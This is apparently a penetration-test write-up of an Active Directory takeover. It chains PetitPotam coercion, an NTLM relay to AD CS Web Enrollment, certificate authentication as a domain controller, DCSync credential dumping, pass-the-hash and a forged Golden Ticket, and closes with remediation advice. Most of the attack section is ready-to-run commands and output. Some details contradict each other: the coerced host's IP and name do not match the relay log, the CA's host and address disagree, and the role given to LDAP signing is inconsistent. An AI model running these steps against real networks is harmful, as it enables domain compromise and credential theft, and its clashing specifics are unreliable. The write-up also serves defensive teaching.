From Domain User to Golden Ticket — PetitPotam → AD CS ESC8 → DCSync
A full internal Active Directory compromise chain, walked end-to-end. Starting from an unprivileged domain account on a three-DC Windows Server 2019 forest, the assessment coerced a Domain Controller into authenticating against an attacker-controlled SMB relay, relayed the NTLM auth to AD Certificate Services, obtained a machine certificate, used it to issue a TGT, and dumped krbtgt — closing with a Golden Ticket for indefinite, log-quiet Domain Admin persistence.
This writeup walks a complete internal Active Directory compromise — the kind that has been the bread-and-butter of red-team engagements since Will Schroeder and Lee Christensen published the Certified Pre-Owned paper in 2021. The chain is well-trodden ground in red-team circles. What makes a given engagement land or fall flat is how clean the steps are and how convincingly the persistence holds up. The notes below are from an authorised gray-box assessment of a three-DC Windows Server 2019 forest, with hostnames and IPs generalised.
The chain is: PetitPotam (MS-EFSRPC coercion) → NTLM relay to AD CS Web Enrollment
(ESC8) → machine certificate → Certipy auth as DC$ → DCSync via secretsdump →
Pass-the-Hash against Administrator → Golden Ticket via ticketer.py. Pre-auth
attacker has nothing but a low-priv domain user and L2 reachability to the DC.
Starting position#
| Component | Configuration |
|---|---|
| Domain | corp.local (forest functional level: Windows Server 2016) |
| Domain Controllers | DC1 (10.10.4.78), DC6 (10.10.4.79), DC2 (10.10.4.80) |
| OS | Windows Server 2019 Standard |
| Identity | lowpriv@corp.local — member of Domain Users only |
| Network | Internal LAN. RPC (135), SMB (445), Kerberos (88), HTTP (80), HTTPS (443) reachable on DC1 |
| Policies | NTLM allowed, SMB signing required, LDAP signing not enforced |
Nothing about that environment is unusual. The defining property is the third row of the policies table — LDAP signing not enforced — and the discovery, a few minutes in, that AD CS Web Enrollment is on the same forest.
Reconnaissance#
ldapsearch and BloodHound first. Two findings shape the rest of the engagement.
LDAP signing is disabled. Tested with a simple LDAPS bind against the DC; an unsigned bind is accepted. This is not a privesc on its own, but it confirms NTLM relay primitives will land against this forest.
AD CS Web Enrollment is reachable. curl -I http://10.10.4.78/certsrv returns
HTTP/1.1 200 OK with WWW-Authenticate: NTLM. Directory bruteforcing surfaces
/certsrv/certrqus.asp and the certificate request endpoints. The CA is enabled with the
default Machine and User templates and — critically — Request Disposition is set to
Issue, meaning certificates are issued immediately on submission rather than queued for
manual approval.
Certipy confirms the misconfiguration in one line:
certipy-ad find -u 'lowpriv@corp.local' -p '<password>' -dc-ip 10.10.4.78 \
-stdout -vulnerable
The relevant section of the output:
Certificate Authorities
0
CA Name : CORP-DC2-CA
DNS Name : DC2.corp.local
Web Enrollment : Enabled
Request Disposition : Issue
Enforce Encryption : Enabled
Permissions
Owner : CORP\Administrators
Access Rights
ManageCertificates : CORP\Administrators, CORP\Domain Admins, CORP\Enterprise Admins
Enroll : CORP\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
That is the chain entry point: ESC8, called out by the tool, with no creative rule-bending
required.
The chain#
Step 1 — Set up the NTLM relay#
ntlmrelayx from Impacket, listening for inbound SMB authentications, configured to relay
them to the CA’s web enrollment endpoint and request a machine certificate using the
DomainController template:
ntlmrelayx.py \
-t http://10.10.4.78/certsrv/certfnsh.asp \
-smb2 \
--adcs \
--template DomainController
On startup:
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Setting up SMB Server on 0.0.0.0:445
[*] Setting up HTTP Server on 0.0.0.0:80
[*] Setting up WCF Server on 0.0.0.0:9389
[*] Servers started, waiting for connections
The relay is now waiting for any host to authenticate to the attacker over SMB.
Step 2 — Coerce the Domain Controller#
PetitPotam abuses the
EFSRPC (Encrypting File System Remote Protocol) interface to make the target host call
back to a specified UNC path with NTLM credentials. It is the cleanest of the coercion
primitives because it does not require any privileges on the target — only LSARPC pipe
access, which Authenticated Users has by default.
Aim it at the DC, listener pointing to the relay box:
python3 PetitPotam.py \
-u lowpriv -p '<password>' -d corp.local \
10.10.4.<relay> 10.10.4.79
Trying pipe lsarpc
[-] Connecting to ncacn_np:10.10.4.79[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
The DC responds with a ERROR_BAD_NETPATH because the path doesn’t resolve, but in the
process it sends a fresh NTLM authentication to the relay. That authentication is now in
flight against the CA’s web enrollment endpoint.
Step 3 — Receive the certificate#
Watching the relay log:
[*] SMBD-Thread-5: Received connection from 10.10.4.79, attacking...
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://10.10.4.78 as CORP/DC1$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 33
[*] Writing PKCS#12 certificate to ./DC1$.pfx
[*] Certificate successfully written to file
DC1$.pfx is now sitting on disk — a valid certificate for the DC’s machine account,
signed by the forest CA, valid for the default lifetime of one year. There is no log on
the DC that says “your identity was stolen”. From the DC’s perspective it sent an NTLM
auth to a UNC path, got an error, and moved on.
Step 4 — Authenticate as DC1$#
Hand the PFX to certipy-ad auth, point at the DC, and let Kerberos do the rest:
certipy-ad auth -pfx DC1\$.pfx -dc-ip 10.10.4.78
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: dc1$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc1.ccache'
[*] Trying to retrieve NT hash for 'dc1$'
[*] Got hash for 'dc1$@corp.local': <REDACTED>:<REDACTED>
Two artefacts now: a TGT for dc1$ in dc1.ccache, and the machine account’s NT hash.
Either is enough for the next step.
Step 5 — DCSync#
secretsdump.py against the DC using the dc1$ hash, replicating the DS via the DRSUAPI
method:
export KRB5CCNAME=$(pwd)/dc1.ccache
secretsdump.py -k -no-pass corp.local/dc1\$@DC1.corp.local
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
corp.local\fileshare:1103:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
...
krbtgt is the prize. Everything else in the output is dressing.
Step 6 — Domain Admin via Pass-the-Hash#
Evil-WinRM with the Administrator NT hash; no password ever guessed:
evil-winrm -i DC2.corp.local -u Administrator -H <NT hash>
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
corp\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
DC2
Shell on the DC as Domain Administrator.
Step 7 — Persistence via Golden Ticket#
The TGT for the dc1$ machine account expires. Re-running the coercion is noisy if anyone is
watching the relay’s auth logs. A Golden Ticket — a TGT forged offline using the krbtgt
hash — sidesteps both problems. Forge with ticketer.py:
ticketer.py -nthash <krbtgt nt hash> \
-domain-sid S-1-5-21-<...> \
-domain corp.local \
Administrator
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncAsRepPart
[*] Saving ticket in Administrator.ccache
Load it:
export KRB5CCNAME=$(pwd)/Administrator.ccache
Every Kerberos-authenticated tool now operates as Administrator@corp.local without ever
talking to the real KDC — and without ever needing the password. The ticket survives any
password reset on the real Administrator account because it isn’t signed with that
account’s secret. Only resetting krbtgt (twice, with the documented invalidation procedure)
invalidates it.
Why this still lands in 2026#
Each link in the chain has been public for years. The reasons it keeps landing are organisational, not technical:
- AD CS Web Enrollment defaults are still permissive. Microsoft has been clear about
the ESC1–ESC15 family since 2021, but the default
UserandMachinetemplates with Web Enrollment enabled remain the out-of-the-box configuration for first-time AD CS rollouts. - NTLM is still on. Outright disabling NTLM breaks too many applications. Most environments scope it down via Network Security policies but leave it functional for legacy callers. That functional path is enough for coercion.
- Coercion primitives outpace patches.
EfsRpcOpenFileRawgot patched in MS21-036. ThenEfsRpcEncryptFileSrvworked. Then DFS-NM coercion (MS-DFSNM). ThenPrinterBug(still alive on default print spoolers). The protocol surface is enormous. krbtgtreset hygiene is rare. Rotatingkrbtgtonce invalidates one set of Golden Tickets; rotating it twice (with the documented 24-hour gap) is what actually matters. Most environments have either never rotated or rotated once.
Remediation#
In the order that has the biggest blast-radius impact:
- Disable AD CS Web Enrollment, or — if it’s required for a specific subset of
workflows — split the issuing CA from the Web Enrollment endpoint and require explicit
approval (
Request Disposition: Pending). - Enable Extended Protection for Authentication (EPA) on the CA’s IIS endpoint and require HTTPS. EPA binds the inner authentication to the outer TLS channel, breaking the NTLM relay primitive against AD CS.
- Restrict the
DomainControllerand other machine-account templates so that only members ofDomain Controllerscan enroll. Audit every certificate template’s “Enroll” ACE;Domain ComputersandAuthenticated Usersshould not appear. - Enforce SMB signing and LDAP signing. Both close coercion-relay primitives. SMB signing was already required in this environment; LDAP signing was not, which is what made the chain trivial.
- Restrict NTLM with the
Network Security: Restrict NTLMGPOs. Audit first, then deny incoming NTLM to DCs and CAs. - Rotate
krbtgttwice per year, following the Microsoft procedure — the second rotation must wait at least the maximum-allowed Kerberos ticket lifetime. - Monitor for Event ID 4768 (TGT) and 4769 (service ticket) anomalies, specifically forged tickets with non-standard encryption types or PAC anomalies. Mimikatz Detection in Defender for Identity catches a subset; SIEM rules on PAC structure catch more.
Defensive checklist#
If you only had one afternoon and an admin account, in priority order:
Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Filter * -Properties msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, pKIExtendedKeyUsage— sanity-check every template forEDITF_ATTRIBUTESUBJECTALTNAME2(ESC6) and overbroad Enroll permissions.- IIS Manager on the CA host → Authentication → confirm “Extended Protection” is
Required. Get-SmbServerConfiguration | Format-List RequireSecuritySignatureshould beTrueon every member server.Get-ADDomainController | ForEach-Object { Get-ADUser krbtgt -Server $_.Name -Properties PasswordLastSet }— krbtgt PasswordLastSet should be within the last six months, and Get-Date minus that should be at least 24 hours away from the previous rotation.
Closing note#
The chain in this writeup is not novel work. It is one of the most-documented red-team chains in the public literature. Its persistence in real environments comes from the fact that every link in it is a default — Web Enrollment defaults, machine-account template defaults, NTLM-enabled defaults, missing-LDAP-signing defaults, never-rotated-krbtgt defaults. The fix for each link individually is straightforward; the institutional work to fix all of them together is what makes the difference between a forest that falls in an afternoon and one that holds.
Found a mistake or want to discuss this research? Email.
All research conducted under authorisation or responsible-disclosure policy. Client identifiers redacted where applicable.